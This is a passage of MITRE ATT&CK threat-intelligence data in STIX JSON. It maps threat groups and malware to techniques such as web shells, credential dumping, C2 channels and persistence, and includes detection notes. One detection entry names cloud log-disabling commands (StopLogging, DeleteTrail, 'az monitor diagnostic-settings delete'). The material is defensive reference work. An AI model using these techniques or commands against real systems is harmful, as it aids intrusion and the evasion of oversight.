2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. 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Retrieved March 3, 2021."},{"source_name":"Volexity Exchange Marauder March 2021","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."},{"source_name":"FireEye Exchange Zero Days March 2021","url":"https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html","description":"Bromiley, M. et al. (2021, March 4). Detection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities. Retrieved March 9, 2021."}],"modified":"2021-03-09T16:09:27.967Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has deployed multiple web shells on compromised servers including SIMPLESEESHARP, SPORTSBALL, [China Chopper](https://attack.mitre.org/software/S0020), and [ASPXSpy](https://attack.mitre.org/software/S0073).(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)(Citation: FireEye Exchange Zero Days March 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71ae6f80-3d5c-4d61-8995-5844f9f592ed","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. 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Retrieved August 12, 2021."},{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-08-31T15:25:13.994Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used PowerShell for execution.(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f3d30d20-ee51-4976-8611-5667df771567","type":"relationship","created":"2020-03-19T23:03:33.778Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. 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Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-11-01T21:12:15.488Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has dumped credentials, including by using gsecdump.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98fc2f95-0c93-405a-a54e-880622d8d233","type":"relationship","created":"2021-06-11T20:00:32.043Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-11T20:00:32.043Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) can use a second channel for C2 when the primary channel is in upload mode.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e80ade6-a566-4e2b-b2e4-021f9dd6889a","type":"relationship","created":"2020-05-05T17:07:33.295Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-05T17:07:33.295Z","description":"[Rifdoor](https://attack.mitre.org/software/S0433) has encrypted command and control (C2) communications with a stream cipher.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--44c75271-0e4d-496f-ae0a-a6d883a42a65","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5bd827b4-cdaf-4d50-acb8-493f32d51acb","type":"relationship","created":"2020-05-14T22:29:26.187Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Sharpshooter December 2018","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020."}],"modified":"2020-05-14T22:29:26.187Z","description":"[Rising Sun](https://attack.mitre.org/software/S0448) can detect the computer name, operating system, and other native system information.(Citation: McAfee Sharpshooter December 2018)\t","relationship_type":"uses","source_ref":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55e36f24-f7dd-4966-b39f-88349b86fff3","type":"relationship","created":"2020-10-15T12:05:58.903Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-07-28T01:04:39.669Z","description":"Network intrusion detection and prevention systems that can identify traffic patterns indicative of AiTM activity can be used to mitigate activity at the network level.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f25b9b24-7c42-42b2-941f-6cb8653043c9","created":"2022-03-30T14:26:51.843Z","x_mitre_version":"0.1","external_references":[{"source_name":"Stopping CloudTrail from Sending Events to CloudWatch Logs","url":"https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html","description":"Amazon Web Services. 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In AWS, monitor for: <code>StopLogging</code> and <code>DeleteTrail</code>.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: <code>google.logging.v2.ConfigServiceV2.UpdateSink</code>.(Citation: Configuring Data Access audit logs) In Azure, monitor for <code>az monitor diagnostic-settings delete</code>.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled.","modified":"2022-04-14T16:19:19.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--ec0612c5-2644-4c50-bcac-82586974fedd","target_ref":"attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c291a0b4-31b5-4075-9672-b10b0e7bd4cc","type":"relationship","created":"2021-10-08T14:20:51.432Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-10-08T14:20:51.432Z","description":"[IndigoZebra](https://attack.mitre.org/groups/G0136) has compromised legitimate email accounts to use in their spearphishing operations.(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1","target_ref":"attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed3de8e8-e09c-4273-8f68-da5219a7e9ee","type":"relationship","created":"2021-03-17T20:09:13.260Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-03-17T20:09:13.260Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","target_ref":"attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00f4c60b-36c4-4ec5-affd-38f89687d957","type":"relationship","created":"2020-08-11T21:15:35.506Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. 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Retrieved July 28, 2020."}],"modified":"2020-09-02T21:40:20.748Z","description":"[RDAT](https://attack.mitre.org/software/S0495) can use HTTP communications for C2, as well as using the WinHTTP library to make requests to the Exchange Web Services API.(Citation: Unit42 RDAT July 2020)","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e93e4ac1-090d-4081-8cb5-9af71e807fd3","type":"relationship","created":"2020-08-13T14:05:44.473Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-13T14:05:44.473Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can communicate with C2 via HTTP POST requests.(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e711d51c-94d3-4a20-ae11-d3584bae36d9","created":"2021-03-22T21:57:48.752Z","x_mitre_version":"1.0","external_references":[{"source_name":"wardle evilquest partii","url":"https://objective-see.com/blog/blog_0x60.html","description":"Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ThiefQuest](https://attack.mitre.org/software/S0595) uses a function named <code>is_debugging</code> to perform anti-debugging logic. The function invokes <code>sysctl</code> checking the returned value of <code>P_TRACED</code>. [ThiefQuest](https://attack.mitre.org/software/S0595) also calls <code>ptrace</code> with the <code>PTRACE_DENY_ATTACH</code> flag to prevent debugging.(Citation: wardle evilquest partii)","modified":"2022-04-16T15:01:18.203Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3593e540-dfc0-4995-8640-db52961b3666","type":"relationship","created":"2022-02-02T15:13:34.001Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"modified":"2022-02-02T15:13:34.001Z","description":"[LitePower](https://attack.mitre.org/software/S0680) has the ability to download payloads containing system commands to a compromised host.(Citation: Kaspersky WIRTE November 2021)","relationship_type":"uses","source_ref":"malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46e84bd8-d38f-43e7-b62b-ea211231abef","type":"relationship","created":"2020-10-27T19:26:38.137Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). 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Retrieved July 15, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[gh0st RAT](https://attack.mitre.org/software/S0032) has altered the InstallTime subkey.(Citation: Gh0stRAT ATT March 2019)","modified":"2022-04-15T15:07:28.446Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42d6f63e-6a97-4efb-973e-77df10275605","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. 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(2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.","source_name":"FireEye FELIXROOT July 2018"},{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-17T01:16:25.858Z","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) queries the Registry for specific keys for potential privilege escalation and proxy information. [FELIXROOT](https://attack.mitre.org/software/S0267) has also used WMI to query the Windows Registry.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ecdbe751-ef08-41fe-8c13-27ffaae30312","type":"relationship","created":"2020-02-05T14:04:26.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-05T14:04:26.307Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7363ed1a-6f75-4ded-9179-2fdba17f6cf1","type":"relationship","created":"2021-10-12T20:20:46.610Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PTSecurity Cobalt Dec 2016","description":"Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.","url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"}],"modified":"2021-10-18T20:41:53.013Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has obtained and used a variety of tools including [Mimikatz](https://attack.mitre.org/software/S0002), [PsExec](https://attack.mitre.org/software/S0029), [Cobalt Strike](https://attack.mitre.org/software/S0154), and [SDelete](https://attack.mitre.org/software/S0195).(Citation: PTSecurity Cobalt Dec 2016)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49d6508c-f350-4376-ba32-f64693d7fd10","type":"relationship","created":"2019-05-28T18:49:59.356Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter","source_name":"Proofpoint TA505 Sep 2017"},{"description":"Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times","source_name":"Proofpoint TA505 June 2018"},{"source_name":"Proofpoint TA505 Jan 2019","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."},{"description":"Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.","url":"https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware","source_name":"Cybereason TA505 April 2019"},{"description":"Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat","source_name":"ProofPoint SettingContent-ms July 2018"},{"description":"Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware","source_name":"Proofpoint TA505 Mar 2018"},{"source_name":"Trend Micro TA505 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/","description":"Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."},{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."},{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}],"modified":"2020-06-01T15:46:48.052Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used lures to get users to enable content in malicious attachments and execute malicious files contained in archives. For example, [TA505](https://attack.mitre.org/groups/G0092) makes their malware look like legitimate Microsoft Word documents, .pdf and/or .lnk files. (Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)(Citation: Cybereason TA505 April 2019)(Citation: ProofPoint SettingContent-ms July 2018)(Citation: Proofpoint TA505 Mar 2018)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--670f37e1-8de3-441e-bc09-ff95c09ee14d","type":"relationship","created":"2020-03-16T14:12:48.061Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-03-16T14:12:48.061Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d273b1b4-b263-4d9d-a02c-86f19c821dd6","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Monitor for the usage of unexpected or unusual cookies to access resources and services. Forged web cookies may be associated with unknown accounts and could be the result of compromised secrets such as passwords or [Private Keys](https://attack.mitre.org/techniques/T1552/004).","source_ref":"x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428","target_ref":"attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--289c43cc-3b61-4b33-8af7-3010c94b6467","type":"relationship","created":"2021-11-22T15:02:15.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-11-22T15:02:15.267Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2533b541-40a6-4849-a93f-2276c4feefd2","created":"2022-03-30T14:26:51.835Z","x_mitre_version":"0.1","external_references":[{"source_name":"TechNet Autoruns","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."},{"source_name":"TechNet Forum Scheduled Task Operational Setting","url":"https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen","description":"Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed scheduled jobs. If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. On Windows, enable the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service where several events will then be logged on scheduled task activity, including:(Citation: TechNet Forum Scheduled Task Operational Setting)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. 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Retrieved November 30, 2021."}],"modified":"2021-12-02T14:15:49.946Z","description":"[Gelsemium](https://attack.mitre.org/groups/G0141) has compromised software supply chains to gain access to victims.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"intrusion-set--99910207-1741-4da1-9b5d-537410186b51","target_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0c7c9d79-016b-4b53-8a72-7594604676bd","created":"2022-03-30T14:26:51.837Z","x_mitre_version":"0.1","external_references":[{"source_name":"ATT ScanBox","url":"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks","description":"Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. 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(2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."}],"modified":"2020-06-25T13:32:00.164Z","description":"[Skidmap](https://attack.mitre.org/software/S0468) has the ability to add the public key of its handlers to the <code>authorized_keys</code> file to maintain persistence on an infected host.(Citation: Trend Micro 